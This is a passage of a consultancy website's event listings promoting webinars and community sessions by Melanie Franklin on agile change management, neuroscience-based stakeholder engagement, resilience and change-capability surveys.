Work. Be the first to hear key takeaways from this insightful and practical book. Neuroscience sounds like a scary and complicated subject, but Melanie (Agile & Change guru) and Tibisay Vera (Neuroscience expert) have written a book that provides simple explanations with lots of examples and experiences from their extensive consulting work. During this webinar Melanie and Tibi will explain an intuitive 8-step model for creating brain-smart activities that reduce the fear and anxiety about change, and create energy and motivation to get involved and make change happen. Their book forms the content of the popular Neuroscience for Change course which has received amazing feedback from candidates across the world since its launch in 2023. If neuroscience hasn’t been on your radar yet, now is the time to hear how it is becoming a fundamental element of all management and leadership roles. Whatever your role you will learn new ways of persuading and motivating others. Register using the link below. https://events. zoom. us/ev/ArBhoks_-CEVneAC0nIIJDr9KwTh9x3tRXoLkCRsTXADQ7Am1Zsw~AvSW83ofgk-oesHOBZWoAMZzP7fKTEUzAwG7y2jVXR5wEaYtrv4PwHzUHA --- ### Jumpstart Your Stakeholder Engagement > Jumpstart your stakeholder engagement with our free live webinar for organisations in any industry. Book your place today - Published: 2024-05-10 - Modified: 2024-06-28 - URL: https://agilechangemanagement.co.uk/event/jumpstart-your-stakeholder-engagement/ - Event Categories: Virtual event Accelerate your speed of persuasion when it comes to your stakeholder engagement. Users are too busy to read your emails, attend your demonstrations and join your workshops. Learn techniques to select the most relevant information, how to present it and when to share it for maximum effect. --- ### Using Agile Change to outpace your workload - Published: 2024-04-24 - Modified: 2024-05-10 - URL: https://agilechangemanagement.co.uk/event/using-agile-change-to-outpace-your-workload/ - Event Categories: Virtual event So many of us are overwhelmed by our workload, we turn up for meetings but have not done the work, we do not concentrate because we are trying to get through our emails whilst attending online meetings, we are struggling to make a connection with people because we do not have the time to really listen to what they have to tell us. In this webinar, I am going to provide you with prioritisation techniques that help you make the time to nudge, encourage and motivate your stakeholders to change how they work. These techniques are useful for anyone who is busy at work, but we can use them specifically to break our change into small tasks, and enjoy the motivation of achieving each task, as well as feeling less stressed by the amount we have to do. We will review the agile concepts relating to time, use the Roadmap agile, iterative planning technique and work through some brain short cuts for managing our time. Join me for this practical, helpful stress busting session, which I promise you will build your resilience for coping with an ever-expanding workload. https://www. youtube. com/watch? v=e8cfS7SlFoM --- ### How understanding neuroscience for change supports change sponsors - Published: 2024-03-28 - Modified: 2024-05-07 - URL: https://agilechangemanagement.co.uk/event/how-understanding-neuroscience-for-change-supports-change-sponsors/ - Event Categories: Virtual event The role of sponsor is a difficult balancing act, covering the scope, participation and communication of change. In this webinar, Melanie will provide practical techniques and guidance for encouraging others to change, examining the power of role-modelling by senior leaders and how sponsors can build the wider capability for change in their organisations. Watch the webinar here: --- ### Neuroscience Triggers New Ways to Make Change Happen - Published: 2024-02-12 - Modified: 2024-05-07 - URL: https://agilechangemanagement.co.uk/event/neuroscience-triggers-new-ways-to-make-change-happen/ - Event Categories: Virtual event In this energetic session, I will give a brief overview of the most popular and well known models of the psychological and emotional journey of change, and the traditional change lifecycle. I will highlight my concerns for how these models do not address the current environment of multiple, simultaneous change and the feelings of change fatigue and change saturation that we all face. I will explain the latest thinking from neuroscience and demonstrate how this thinking gives us a new way of managing multiple changes. Using the application of a threat/reward model, I will walk us through a simple recipe for creating motivation, energy and resilience for change. Register now to attend the webinar live or be sent the recording, and to access the easy to use follow up resources. Watch the webinar here: --- ### Free Webinar: Amplify Agile with Neuroscience > Free Neuroscience Webinar - Join us on the 21st February for learn about "brain smart" ways to communicate with your stakeholders. - Published: 2024-01-19 - Modified: 2024-05-07 - URL: https://agilechangemanagement.co.uk/event/amplify-agile-with-neuroscience/2024-02-21/ - Event Categories: Virtual event Free Webinar: Amplify Agile with Neuroscience Adopting neuroscience for more effective Agile working, projects and change initiatives. About the Amplify Agile With Neuroscience Webinar This free webinar provides everyone adopting or working in agile ways to learn “brain-smart” key agile techniques to use within the workplace and beyond. It will explain why an incremental, iterative plan fits with how our brains want to receive information. Melanie will also explain how prioritising techniques, collaborative working, psychological safety, and celebrations support how our brains want to work. This is a fun explanation of how our brains work. Using the knowledge acquired from this webinar, you will be able to make better informed decisions about how to present information for project, programme and change stakeholders. You’ll also learn how to better communicate with and persuade stakeholders to participate in projects. You can use the arguments and techniques from this webinar to generate enthusiasm and support within your organisation for an agile change approach. ABOUT THE SPEAKER Melanie Franklin is a globally recognized thought leader in change management who has effected business change programmes across public and private sector organizations. Based in London, UK, she is the Director of Agile Change Management Ltd and Founder of the Continuous Change Community. This free webinar will be delivered twice on 21st February at 8am & 12:30pm. --- ### Using Neuroscience to Power Agile Working > The Using Neuroscience to Power Agile Working webinar is for anyone involved in implementing and adopting agile culture. - Published: 2024-01-05 - Modified: 2024-05-07 - URL: https://agilechangemanagement.co.uk/event/using-neuroscience-to-power-agile-working-2/ Using Neuroscience to Power Agile Working Agile working is “brain-smart” – there are so many neuroscientific reasons why incremental, iterative planning, collaborative working, ceremonies, and celebrations fit with how the brain wants to work. I will demonstrate how some of our core Agile techniques trigger positive brain responses, reducing threat and increasing reward. The brain constantly seeks reward and this motivates us to take action. Use the arguments I make in this webinar to inspire others in your organisation to become as enthusiastic about agile methods as you are. The Using Neuroscience to Power Agile Working webinar is for anyone involved in implementing and adopting agile culture within their organisations – you might have a formal role as part of your agile working practices: Product Manager; Product Owner; Scrum Master; Agile Coach. AGENDA (GMT) 17:30-17:35: Welcome & Introductions 17:35-18:30: The Talk + Q&A IMPORTANT NOTES I will begin admitting people into the call at 17:30. Before that, you will be on a waitlist to enter. Please ensure you're muted at all times to minimise disturbance. If you would like to ask a question during the talk, use the Chat. ABOUT THE SPEAKER Melanie Franklin is a globally recognized thought leader in change management who has effected business change programmes across public and private sector organizations. Based in London, UK, she is the Director of Agile Change Management Ltd and Founder of the Continuous Change Community. --- ### Using Neuroscience to Power Agile Working - Published: 2023-12-12 - Modified: 2024-05-07 - URL: https://agilechangemanagement.co.uk/event/using-neuroscience-to-power-agile-working/ - Event Categories: Virtual event Agile working is “brain-smart” – there are so many neuroscientific reasons why incremental, iterative planning, collaborative working, ceremonies, and celebrations are fit with how the brain wants to work. Use the arguments I make in this webinar to inspire others in your organisation to become as enthusiastic about agile methods as you are. This webinar is for anyone involved in implementing and adopting agile culture within their organisations – you might have a formal role as part of your agile working practices: Product Manager; Product Owner; Scrum Master; Agile Coach If you are involved in the change/transformation towards an agile culture (head of transformation; head of portfolio management; head of change management; business change manager) then this webinar is for you because it will give you insight into the benefits and value of agile working practices. --- ### 2024 Trends in Change Management - Published: 2023-11-23 - Modified: 2023-12-15 - URL: https://agilechangemanagement.co.uk/event/2024-trends-in-agile-change-management/ - Event Categories: Virtual event What can change management professionals expect in 2024? 2024 Trends in Change Management Using results from the 2023 global Capability for Change Survey, Melanie will identify the key themes from the survey data that have scored highest and lowest, and will use this data to predict what we need to spend time fixing in 2024. Melanie will also highlight the successes that we can amplify around our organizations to ensure change management is viewed as a vital, valuable service to the business. This webinar will provide everyone interested in change (commissioning change, managing change, impacted by change) with data, insights and explanations that will make you think about your own priorities, and are fantastic discussion points with your change agent/champion networks. Join us to discover: What key trends change professionals can expect over the coming 12 months The positive of impact of effective change management What challenges lie ahead End the year with this helpful information and begin 2024 with a clear plan of what you want to achieve. --- ### Neurohacks to Help Implement Change in an Agile Way - Published: 2023-11-03 - Modified: 2024-05-07 - URL: https://agilechangemanagement.co.uk/event/neurohacks-to-help-implement-change-in-an-agile-way/ In this webinar, Melanie explores what triggers resistance to change, and how we can use neuroscience to “hack” our brains to be more accepting of change. This is an important subject as the volume and the complexity of change continues to grow. Taking a more scientific approach to how we engage with our stakeholders enables us to create more trust and greater involvement in making change happen. --- ### Neuroscience for Change Webinar - Published: 2023-10-18 - Modified: 2023-12-15 - URL: https://agilechangemanagement.co.uk/event/neuroscience-for-change-webinar/ To achieve business change, we must persuade all those impacted to adopt new ways of working. This means our communications need to generate enthusiasm and commitment, at a time when our stakeholders are facing overload. We are competing with hundreds of other messages and calls on their time, so how do we make sure we are heard? Using techniques drawn from neuroscience ensures that what we say, what we ask for and how we respond to our stakeholders is not accidental. We can use techniques that are brain-smart, designed to trigger the required response because they use an understanding of how our brains process information, take decisions and act. We can use this scientific approach to understand the reasoning our brains apply to every situation, and tailor our interventions accordingly. Join me as I introduce the new Neuroscience for Change certification, and explain the content of the course, what you will learn and how you will be able to apply this learning to your work. There are limited places, so please register now to access the webinar and the supporting material that will be sent after the event. --- ### ChangeStories podcast > Listen to the ChangeStories podcast where Dr. Susanne Evans and I talk about the skills and capabilities that are required to lead and manage change. - Published: 2023-09-21 - Modified: 2023-09-22 - URL: https://agilechangemanagement.co.uk/event/changestories-podcast/ Listen to this episode of the popular ChangeStories podcast, Dr. Susanne Evans and I talk about the skills and capabilities that are required to lead and manage change. I share some of the findings from our global Capability for Change Survey into the dimensions of a successful change. If you would like to be part of the 2023 survey, it is open now so click this link to register. We also discuss how to communicate change more effectively and how to measure the impact of change, including measuring intangible factors (which are often some of the most important). In particular, we discuss how organisational change can lead to a change of identity for employees and how this important area is often not considered in change programmes. Finally, we also discuss the impact of change on behaviours and emotions and how important it is to include these areas in any change impact assessment. I thoroughly enjoyed this conversation as it is so wide ranging and covers so many aspects of change management. Its a great listen! --- ### Making change relevant for those impacted > Interactive session to network, share ideas and experiences about how we engage those affected by change. - Published: 2023-08-29 - Modified: 2024-05-07 - URL: https://agilechangemanagement.co.uk/event/making-change-relevant-for-those-impacted/ - Tags: change management, stakeholder engagement - Event Categories: Virtual event Too often change is commissioned by senior leaders who are excited by what it will achieve strategically. They commit to the changes because they can clearly see how the scope of the change is the route to achieving one or more of their strategic objectives. At the other end of the scale are individuals who must make the effort and bear the brunt of the disruption needed to change how they work. They don’t think about strategic objectives, they have day to day pressures that the change directly impacts. They don’t see the excitement and the value of the change, it is another requirement that they need to meet. --- ### Resilience - How do we stay positive when stressed by change? > How do we find coping mechanisms that enable us to remain positive and engaged when we are affected by the stress of others? - Published: 2023-05-24 - Modified: 2024-05-07 - URL: https://agilechangemanagement.co.uk/event/resilience-how-do-we-stay-positive-when-stressed-by-change/ - Event Categories: Virtual event As change professionals we are in the front-line when motivating and persuading others to change. This means we experience first hand the stress, anxiety and resistance to change of those expected to work differently. How do we find coping mechanisms that enable us to remain positive and engaged when we are affected by the stress of others? We will look at resilience techniques and share our experiences of what helps us remain positive and able to enjoy our roles, even as the volume of change continues to rise. --- ### Where does the responsibility for change sit? > The responsibility for change has evolved as we have matured as a profession, leading to the need for us to build more strategic partnerships - Published: 2023-05-24 - Modified: 2024-05-07 - URL: https://agilechangemanagement.co.uk/event/where-does-the-responsibility-for-change-sit/ - Tags: change management, Continuous Change Community, Responsibility - Event Categories: Virtual event Tonight we will consider where the responsibility for change sits. Is it with senior leadership, project teams, line managers etc. Where the responsibility for change sits has evolved as we have matured as a profession. Leading to the need for us to build more strategic partnerships and grow awareness of what we can contribute across the organisation which leads us into building capability and capacity across the organisation . Our discussion will focus on where that responsibility should sit and how that is changing. --- ### Level Up your Career – How to become an Agile Change Agent. > APMG International presents our popular weekly panel Q&A show. This episode is about how to become an Agile Leader. - Published: 2023-05-03 - Modified: 2024-05-07 - URL: https://agilechangemanagement.co.uk/event/level-up-your-career-how-to-become-an-agile-change-agent/ - Event Categories: Watch On-Demand APMG International presents our popular weekly panel Q&A show. This episode is about how to become an Agile Leader. An opportunity to have your real-life questions answered. Host: Nick Houlton, APMG International Question Master: Suchitra Jacob, APMG International Panelists: Melanie Franklin, Director, Agile Change Management Ltd Tomasz Manugiewicz, General Manager of Grand Parade Poland. Adrian Pyne, Director of Consulting, Pyne Consulting Limited Orlando Heijmerink, Trainer, Change Guide, Lagant Wouter Delbaere, CEO | Co-founder --- ### Agile planning techniques made simple > In this action-packed 30 minutes, Melanie will explain how planning techniques can be applied to any piece of work. - Published: 2023-05-03 - Modified: 2024-05-07 - URL: https://agilechangemanagement.co.uk/event/agile-planning-techniques-made-simple/ - Event Categories: Virtual event A must-attend 30 minutes for Project, Programme & Change Managers In this action-packed 30 minutes, Melanie will explain how the planning techniques in the 2-day Agile Change Agent course can be applied to any piece of work to create an agile initiative that delivers early and frequent benefits. This is relevant to you if you are formally responsible for creating plans (Project/Programme/Change Managers) or if you have responsibility for a new piece of work and you want to deliver it on time, and impress your bosses with how much you have achieved! Along with the webinar, Melanie will provide you with a specially written guide to Agile change and the business case for attending training courses that you can use as a discussion with your line managers to invest in your professional development. --- ### Coach Change: Making Change Happen > Coach Change: Making Change Happen is your opportunity to learn more about the power of coaching in change management. - Published: 2023-04-20 - Modified: 2024-06-28 - URL: https://agilechangemanagement.co.uk/event/coach-change-making-change-happen/ - Tags: agile change, change management, Coach - Event Categories: Virtual event Coach Change: Making Change Happen is your opportunity to learn more about the power of coaching in change management. Coach Change: Making Change Happen is your opportunity to learn more about the power of coaching in change management. You will hear from both internal and external change practitioners as they share their stories of where coaching has contributed to change success, and where it has not. Presenters will share how learning coaching skills has fundamentally changed the way in which they show up in their roles. And you’ll hear how the application of coaching skills when working with business owners, sponsors, leaders, and even stakeholders has contributed to improved change success. --- ### Resilience Powers Change > We know the ability to keep going despite set backs is a critical life skill, but do we know how to create it for ourselves and for others? - Published: 2023-03-17 - Modified: 2023-06-29 - URL: https://agilechangemanagement.co.uk/event/resilience-powers-change-3/ - Event Categories: Watch On-Demand Everyone is under pressure, demands on our time to excel in our day job whilst helping to change and improve how we do things. No wonder resilience is such a hot topic. We know the ability to keep going despite set backs is a critical life skill, but do we know how to create it for ourselves and for others? I will share practical techniques for achieving two elements of resilience: reducing the blockers to change; using neuro-hacks to reframe how people feel about change. I deliver this session in-house to lots of organisations and it is one of their favourites because they all leave the session with at least one idea of how to reduce the pressure they are under and feel more able to cope with everything that is expected of them. Join me to access all my practical ideas and solutions and let's reduce the stress of our workplaces. If you are unable to attend the webinar, please ensure you still register in order to receive a recording of the webinar. --- ### Creating energised stakeholders for change > In this webinar, I will build on the concepts of primary drivers in the brain that trigger instinctive behaviour. - Published: 2023-02-27 - Modified: 2024-05-07 - URL: https://agilechangemanagement.co.uk/event/creating-energised-stakeholders-for-change/ - Tags: Agile change management, change management, Stakeholders - Event Categories: Watch On-Demand In this webinar, I will build on the concepts of primary drivers in the brain that trigger instinctive behaviour and how we can use these behaviour triggers to generate greater levels of involvement with our change initiatives. Too often change feels as if we are pushing water uphill. We make lots of announcements, we explain everything in detail but we fail to connect with our stakeholders and energise them for action. This leaves us pushing the change onto them when we really need them to pull the required actions from us and take full responsibility for completing them. In this follow-up webinar, I will build on the concepts of primary drivers in the brain that trigger instinctive behaviour and how we can use these behaviour triggers to generate greater levels of involvement with our change initiatives. If you cannot attend this webinar, please continue to register in order to receive a recording of the event! --- ### Are we celebrating the success of our change? > We will look at what the survey results told us & we will work together to identify what makes a great celebration of an achievement. - Published: 2023-02-27 - Modified: 2024-05-07 - URL: https://agilechangemanagement.co.uk/event/are-we-celebrating-the-success-of-our-change/ - Event Categories: Virtual event We all know that celebrating achievements is likely to help people adopt new ways of working and appreciate they are on the path to success. We all know that celebrating achievements is likely to help people adopt new ways of working and appreciate they are on the path to success. However, when senior change leaders were asked about their organisation's ability to celebrate the success of change initiatives their answers were stunning. They acknowledged the need to do it and said they were setting up those celebrations of achievement but the results were not successful. At next month's session, we will look at what the survey results told us and we will work together to identify what makes a great celebration of an achievement that will help people succeed. --- ### Neuroscience to Drive Change at Work > Know the basics of how our brains work, so that you can reduce resistance, decrease stress & maximise positivity, creativity & engagement. - Published: 2023-01-27 - Modified: 2024-06-14 - URL: https://agilechangemanagement.co.uk/event/neuroscience-to-drive-change-at-work-3/ - Event Categories: Watch On-Demand Change is stressful, lets not make it worse by working against how our brains want to operate. Know the basics of how our brains work, so that you can reduce resistance, decrease stress and maximise positivity, creativity and engagement. Neuroscience isn’t new, but as technology enables us to track how our brains work in different situations, we can identify ways to apply this understanding in the workplace. Following the success of the last webinar where over 1000 of you attended, Melanie will once again run through the basics of what neuroscience is, how it applies to managing change, the benefits of basing your interventions on neuroscientific principles and shares examples of how you can apply the concepts to your own change initiatives. https://youtu. be/dMW8NO4wogA? si=GXpiG70QTuBxby8s --- ### Talking with...Melanie Franklin: Part 2 > Reflect on which change management trend predictions came into fruition a conversation that will be highly beneficial for change leaders. - Published: 2023-01-23 - Modified: 2024-05-07 - URL: https://agilechangemanagement.co.uk/event/talking-with-melanie-franklin-part-2/ - Event Categories: Watch On-Demand As a follow-up to Deltra's discussion with Melanie earlier in 2022, Retail Practice Lead, Emma Fowler caught up with Agile Change expert, Melanie Franklin once again to reflect on which of her change management trend predictions came into fruition. It’s a conversation that will be highly beneficial for change leaders wanting some insights for 2023. It’s not an understatement to say that 2022 has been a challenging year for many. Factors such as the energy crisis and financial instability have certainly played their part in creating an unsteady business landscape, and businesses are still getting to grips with hybrid working and the post-pandemic world. But just how has all this impacted change this year, and will businesses need to reconsider their approach to change for the year ahead? --- ### Resilience Powers Change > We know the ability to keep going despite set backs is a critical life skill, but do we know how to create it for ourselves and for others? - Published: 2023-01-17 - Modified: 2023-03-31 - URL: https://agilechangemanagement.co.uk/event/resilience-powers-change-2/ - Event Categories: Watch On-Demand Everyone is under pressure, demands on our time to excel in our day job whilst helping to change and improve how we do things. No wonder resilience is such a hot topic. We know the ability to keep going despite set backs is a critical life skill, but do we know how to create it for ourselves and for others? I will share practical techniques for achieving two elements of resilience: reducing the blockers to change; using neuro-hacks to reframe how people feel about change. I deliver this session in-house to lots of organisations and it is one of their favourites because they all leave the session with at least one idea of how to reduce the pressure they are under, and feel more able to cope with everything that is expected of them. Join me to access all my practical ideas and solutions, and lets reduce the stress of our workplaces. --- ### Data-driven trends in Change Management > We need to make a case for the value of change management and insist that these vital activities are standard. - Published: 2023-01-12 - Modified: 2024-05-07 - URL: https://agilechangemanagement.co.uk/event/data-driven-trends-in-change-management/ We need to make the case for the value of change management – to ensure senior leaders give us their support – and insist that these vital activities are standard for every project and programme. We need compelling data to capture the interest of busy executives, so I have commissioned an annual survey completed by heads of change and transformation from around the world. This webinar will summarize the data from their responses, giving us comparative data on how well other organizations are building their capability for change, which we hope inspires our organizations to do more! Join this webinar to hear what types of change organizations are commissioning and what elements of best practice are in place, and what is missing. We will look at trends across countries and industries, with unique insight from neuroscience about not only what people think they are doing, but also how confident they feel about what they have done. --- ### Data Driven Assessment of Current State of Organizational Change Management > Joining us for this webinar will enable you to compare your achievements and experiences against the respondents of this global survey. - Published: 2023-01-03 - Modified: 2024-05-07 - URL: https://agilechangemanagement.co.uk/event/data-driven-change-management/ Recently, Melanie Franklin commissioned her company's annual invitation-only "Capability for Change" Survey completed by heads/directors of change and transformation who are responsible for building the capability for change in their organizations. The objective of the survey is to generate the data that helps all of us make the case for investing in change. We know that many organizations are only at the start of their journey of treating change management as an essential discipline - this survey highlights what others are doing, so we can all benchmark ourselves. The survey has incorporated neuroscience to assess both how we think we are doing and how we feel we are doing. The differences between these answers highlights areas that we need to address. In addition, the survey data has produced insights about the types of changes we are doing, and the elements of good practice that we have implemented and the areas that we have not yet implemented successfully. Joining us for this webinar will enable you to compare your achievements and experiences against the respondents of this global survey and use this information to identify what your next steps should be. --- ### Neuroscience to Drive Change at Work > Know the basics of how our brains work, so that you can reduce resistance, decrease stress & maximise positivity, creativity and engagement. - Published: 2022-12-21 - Modified: 2024-05-07 - URL: https://agilechangemanagement.co.uk/event/neuroscience-to-drive-change-at-work/ - Event Categories: Download paper, Watch On-Demand Change is stressful, lets not make it worse by working against how our brains want to operate. Know the basics of how our brains work, so that you can reduce resistance, decrease stress and maximise positivity, creativity and engagement. Neuroscience isn’t new, but as technology enables us to track how our brains work in different situations, we can identify ways to apply this understanding in the workplace. Following the success of the last webinar where over 1000 of you attended, Melanie will once again run through the basics of what neuroscience is, how it applies to managing change, the benefits of basing your interventions on neuroscientific principles and shares examples of how you can apply the concepts to your own change initiatives. You can also download Melanie’s accompanying paper from this link. --- ### Persuading sponsors to be sponsors! - Published: 2022-12-21 - Modified: 2024-05-07 - URL: https://agilechangemanagement.co.uk/event/persuading-sponsors-to-be-sponsors/ A constant theme in this community is the difficulty of achieving successful change without contributions from those who are supposed to be sponsoring the change. In this session we will share ideas for how we can encourage sponsors to get involved and become the active sponsors that we need, partnering with us, rather than delegating to us. In this session we will attempt to create a value proposition that excites and inspires sponsors, as well as clearly explaining what we need them to do and why it will help them succeed in their wider strategic role. We are your thought leadership group, come and join us, share your ideas, your experiences and your perspectives. Come together to create valuable resources we can all use to improve the capability for change in our organisations. To join the continuous change community click here --- ### Agnostic Agile Conference 2022 - Published: 2022-10-25 - Modified: 2022-11-14 - URL: https://agilechangemanagement.co.uk/event/agnostic-agile-conference-2022/ Join Melanie for her talk at the Agnostic Agile Conference - #AAConf. Adopting an agile approach is a significant change for everyone, not just those who are using agile methodologies to deliver their work. Using the perspective of those impacted by agile working practices, Melanie will explain the change they experience and how we can help them adopt to this new reality. She will share insights from neuroscience on how people react to this change and share techniques that increase our ability to persuade our users to join us in applying an agile approach. Following the presentation she will provide additional materials and resources for you to use, including a step by step guide to the techniques she has shared. Download Adopting an agile approach is a significant change for everyone, not just those who are using agile methodologies to deliver their work. We need everyone to come along on the journey and in this paper, I will show you how you can use the Behavioural Change Lifecycle to identify the things we can do on to facilitate this journey. I will look at how to generate interest and positivity in adopting agile concepts and principles for senior leaders in sponsorship positions and those who are leading their teams to create new ways of working. I will explain some simple, intuitive techniques for increasing their desire to use agile thinking. I will share some insights from neuroscience about how our brains work and how we can use this knowledge to... --- ### Evolution of Change Skills - Published: 2022-10-25 - Modified: 2022-10-25 - URL: https://agilechangemanagement.co.uk/event/evolution-of-change-skills/ A recent report on linked in about the top skills employers are looking for saw change management fall in importance in many roles. On further analysis it seems that employers are now breaking down change management into the key skills they need to be successful. Looking critically at what makes a difference in their transformations. At the next event we want to critically examine the evolution of the change role and discuss what is really happening in organisations and how the role is evolving. This session should help us be more intentional in our assessment of change roles - either hiring or applying for them. To join the continuous change community click here --- ### Transformation and Neuroscience - Published: 2022-09-29 - Modified: 2022-09-29 - URL: https://agilechangemanagement.co.uk/event/transformation-and-neuroscience/ At our next community event we have asked Jenni Sacks to get the conversation starting by letting us know how you can use techniques, underpinned by neuroscience to make change happen. Jenni Sacks has an approach called a Transformathon™ where people are mobilized and engaged via doing rather than communicating the change. Her experience suggests that engagement is a bit of a tired topic for change managers minds (even though critical), and the research shows the words centred around getting the job done resonates strongly with people. The session will focus on the process, the neuroscience behind creating habits and the metrics that show the approach works. --- ### Lead Change 2022 - Re-define your service proposition - Published: 2022-08-31 - Modified: 2024-05-07 - URL: https://agilechangemanagement.co.uk/event/lead-change-2022-re-define-your-service-proposition/ We all have different job titles and role descriptions, influenced by the level of understanding and the appreciation for our value in our organizations. To increase the recognition of our value, and engage our stakeholders, define your service proposition so you can deliver a professional change management service, and gain recognition for what you achieve. Melanie will take us through the key points we need to make, aligning these points to stakeholders upstream and downstream in our organizations, and showing us some of the different things to consider if the service proposition is for external clients or internal colleagues. She will align the description of what we do to the behavioural change lifecycle, and throughout her presentation she will use phrases that convey the value of our work. For example: “as a result of what I do... ”; “the outcome of my work is that I create... . ”; “the difference I make to the business is... . ” This presentation isn’t just for change professionals. If we are going to re-set our value within our organisations and get a chance to shape the strategic objectives and design of the transformations that we support, we need to work collaboratively with others at the enterprise level. Invite your colleagues from your strategy office, your enterprise PMO, your portfolio management function and your business architects. We want to articulate the value of an effective change management capability, so bring the audience that you think needs to hear this message. --- ### Creating a network of Change Agents > My guidance on building Change Agent Networks is so popular we have brought together the steps needed to create your network. - Published: 2022-08-31 - Modified: 2024-05-07 - URL: https://agilechangemanagement.co.uk/event/creating-a-network-of-change-agents/ - Event Categories: Download paper, Watch On-Demand Networks of change agents and champions are needed to permeate the changes we are making through every role and every layer of our organisations. My guidance on building Change Agent Networks is so popular we have brought together the steps needed to create your network, the criteria for effective change agents/champions and lessons learned on how to find and manage these agents into this webinar. Specifically, we will cover: Define your principles – use these key points to clarify and communicate how your network will operate Selection criteria - key questions to ask to find the most effective change agents Getting started - the actions that ensure your network delivers on its promises Recording and follow up materials will be available to all who register. --- ### Creating Participation in Change Panel Discussion - Published: 2022-08-17 - Modified: 2024-05-07 - URL: https://agilechangemanagement.co.uk/event/creating-participation-in-change-panel-discussion/ - Event Categories: Download paper From previous debates, as a community, we recognise that the volume of change organisations are commissioning cannot be managed solely by dedicated change managers. The only way to achieve change at scale/enterprise level change is to mobilise everyone to participate. This impacts the priorities of the change management profession: Training – giving answers to the practical problems that managers and staff experience in developing, practising and adopting new ways of working. They do not have the time nor the interest in learning the theories and models of change. If deeper knowledge is needed, they can call on us, the change management profession for help. Coaching – we need to partner with those impacted by change, demonstrate our empathy for the pressure they are under to split themselves between business as usual and making change happen. We need to be a trusted expert who they can bounce ideas off and grow their confidence in making change happen. Capability for change – creating the responsibility and ownership for change in those impacted by the change, as they are closest to the operational practicalities of the change, and need to play their part in shaping the scope and delivering the new ways of working. Join our panel discussion which will debate these priorities, add to them, and identify ideas for how we might achieve them. Our panel is comprised of those taking part in this debate in the LinkedIn group (https://www. linkedin. com/groups/8975946/), who are experiencing the issues raised above and are at... --- ### Benchmark Change Confidence - Published: 2022-07-20 - Modified: 2023-11-08 - URL: https://agilechangemanagement.co.uk/event/enterprise-change-transformation-survey/ Change and Transformation is a critical success factor and competitive advantage. How confident are you that your organisation excels at implementing new ways of working? My work involves making the case for investing in the skills and mechanisms to design, plan and adopt change using a reliable, intuitive approach. Like you, I need evidence of what others are doing to give strength to my arguments. No surveys specifically address the capability for change, so I have commissioned one! In collaboration with Truthsayers®, I'm launching the first Enterprise-wide Change and Transformation Survey (ECATS) to benchmark the level of change confidence within organisations globally. I am inviting all those with enterprise-wide responsibility for building change and transformation capability to take part. I know that our diverse range of job titles means it is easy to miss out those with these responsibilities so if this is you or your colleagues, please get in touch so you and your organisation can be included. The survey is live from 18th September until 23rd October 2023 --- ### What Next - Summer Planning Event - Published: 2022-06-28 - Modified: 2022-07-26 - URL: https://agilechangemanagement.co.uk/event/what-next-summer-planning-event/ - Event Categories: Download paper Over the summer many of us take the opportunity to think about what do I do next. Sometimes its about what are the challenges in their current role or maybe its about developing capability for the future. Some think about looking for new opportunities or improving our work/life balance or just tackling some issue that needs resolving. For our last event before the summer we are going to give everyone the chance to do that thinking and answer the question "how can I improve how I do my job". As a group lets investigate our skill gaps and consider creative ways to fill them. We already know you are interested in personal development otherwise you wouldn’t be attending these events in the first place. This is an opportunity to spend an hour being creative about discovering your next steps by hearing the ideas of others, and being intentional about actioning them by planning how you take your favourite idea forward into your working life. Download the paper for a full summary of the outcomes. To join the continuous change community click here --- ### Resilience Powers Change > We know the ability to keep going despite set backs is a critical life skill, but do we know how to create it for ourselves and for others? I will share two practical approaches for resilience: reducing the blockers to change; using neuro-hacks to reframe how people feel about change. - Published: 2022-06-23 - Modified: 2022-09-08 - URL: https://agilechangemanagement.co.uk/event/resilience-powers-change/ - Event Categories: Download paper, Watch On-Demand Everyone is under pressure, demands on our time to excel in our day job whilst helping to change and improve how we do things. No wonder resilience is such a hot topic. We know the ability to keep going despite set backs is a critical life skill, but do we know how to create it for ourselves and for others? I will share practical techniques for achieving two elements of resilience: reducing the blockers to change; using neuro-hacks to reframe how people feel about change. I deliver this session in-house to lots of organisations and it is one of their favourites because they all leave the session with at least one idea of how to reduce the pressure they are under, and feel more able to cope with everything that is expected of them. Join me to access all my practical ideas and solutions, and lets reduce the stress of our workplaces. --- ### Identifying the Benefits of Change > When defining the benefits of change - what benefits should we be looking for – is revenue increase/cost decrease too high level? Does it include the benefits of changes in behaviours? What baselines should we use to measure the change against, when what the baselines refer to is also changing? - Published: 2022-06-06 - Modified: 2022-06-28 - URL: https://agilechangemanagement.co.uk/event/identifying-the-benefits-of-change/ - Event Categories: Download paper When defining the benefits of change - what benefits should we be looking for – is revenue increase/cost decrease too high level? Does it include the benefits of changes in behaviours? What baselines should we use to measure the change against, when what the baselines refer to is also changing? Who owns the benefits, who should keep the process going over the longer term as benefits from change are often realised after a significant period of time? We are a family of professional from change management, project management, portfolio management and business managers - how do we work together to clearly define the benefits and how do we ensure they are delivered. Download the paper for a full summary of the outcomes. To join the continuous change community click here --- ### Leadership Behaviours for Effective Agile - Published: 2022-05-20 - Modified: 2024-05-07 - URL: https://agilechangemanagement.co.uk/event/leadership-behaviours-for-effective-agile/ - Event Categories: Download paper, Watch On-Demand Agility is supported by methodologies, processes and techniques but true organisational agility can only be achieved if it is supported by leadership behaviours that normalise, value and encourage the application of agile approaches. This talk will explain and provide examples of these leadership behaviours, discuss why they are so challenging to adopt for many in senior positions and how you can help encourage their adoption. We know that agility is not a methodology or set of processes or techniques. Agility is the behaviours and attitudes that enable the ability to move quickly and easily. They are supported by new ways of working, but these new approaches only work if the environment encourages and rewards there use. Leaders are principal players in creating this environment. Leaders are not restricted to those with hierarchical power within their organisations. A leader is someone who others willingly follow. To be an effective agile leader, there are seven behaviours that support each other, and taken together enable agile processes and techniques to flourish. These behaviours are: Imagining the future state Flexing your vision Identifying small steps Living with uncertainty Decision making Seeking the input of others Relinquishing control If you are in any form of leadership position, this webinar will give you the chance to benchmark your own behaviour against agile excellence and to identify areas for improvement. If you are a project/programme manager, PMO or Product Owner, this will give you lots of ideas of what discuss with your Sponsor. To support your “managing... --- ### Improving communications and engagement in a hybrid world > In our next event we will explore the challenges and consider options for communications and engagement in a hybrid world. - Published: 2022-05-04 - Modified: 2024-05-07 - URL: https://agilechangemanagement.co.uk/event/improving-communications-and-engagement-in-a-hybrid-world/ - Event Categories: Download paper Over the past 2 years communications had to be different, many of you found new and innovative ways to get the messages across and engage your teams. In our next event we will explore the challenges and consider options for communications and engagement in a hybrid world. We want to share our thoughts on ways to get greater engagement and more importantly hear your thoughts. To get the conversation going, we will review some visual techniques to stimulate ideas of how they can be applied to enthuse and engage our stakeholders. Let’s 